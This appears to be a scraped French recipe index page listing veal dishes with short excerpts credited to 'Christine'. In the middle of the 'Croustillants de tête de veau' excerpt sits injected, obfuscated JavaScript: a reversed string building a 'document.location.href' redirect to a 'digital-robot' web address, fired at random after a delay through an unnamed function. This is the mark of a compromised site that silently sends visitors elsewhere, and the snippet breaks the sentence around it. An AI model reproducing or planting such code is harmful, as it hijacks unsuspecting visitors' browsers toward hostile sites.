Niveau : Facile
Bœuf braisé aux aromates
Faites des petites entailles dans l’aiguillette. Introduire une partie des lardons, que vous ficelez solidement.
Christine Lire la suitePaupiettes de veau à la duxelles flambée
Préparez la duxelles et parer les champignons que vous passez sous le robinet d’eau froide. ...
Christine Lire la suiteCroustillants de tête de veau sauce ravigote
Préparez la sauce en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les Ingrédients. Égouttez ...
Christine Lire la suiteGoulasch de veau
Pelez, hachez le gingembre frais. Rincez, séchez, essorez, émincez le persil. Pelez, coupez en deux ...
Christine Lire la suiteQuasi de veau bulgare
Dans une casserole avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, faites revenir ...
Christine Lire la suiteEscalopes de veau aux endives
Émincez les endives en commençant par la pointe, ôtez la partie amère. Dans une cocotte ...
Christine Lire la suiteSauté de veau aux carottes
Pelez, rincez et coupez en rondelles fines les carottes. Dans une cocotte avec de l’huile ...
Christine Lire la suiteVeau aux poireaux
Pelez, émincez l’oignon. Pelez, rincez, coupez en rondelles fines les poireaux Couper le collier en ...
Christine Lire la suitePieds de veau à la tartare
Préparez la sauce tartare. Faites cuire les pieds de veau, égouttez-les, les désosser pendant qu’ils ...
Christine Lire la suiteLes brochettes de veau
Coupez le foie de veau en petits carrés de 2 cm d’épaisseur, ainsi que le ...
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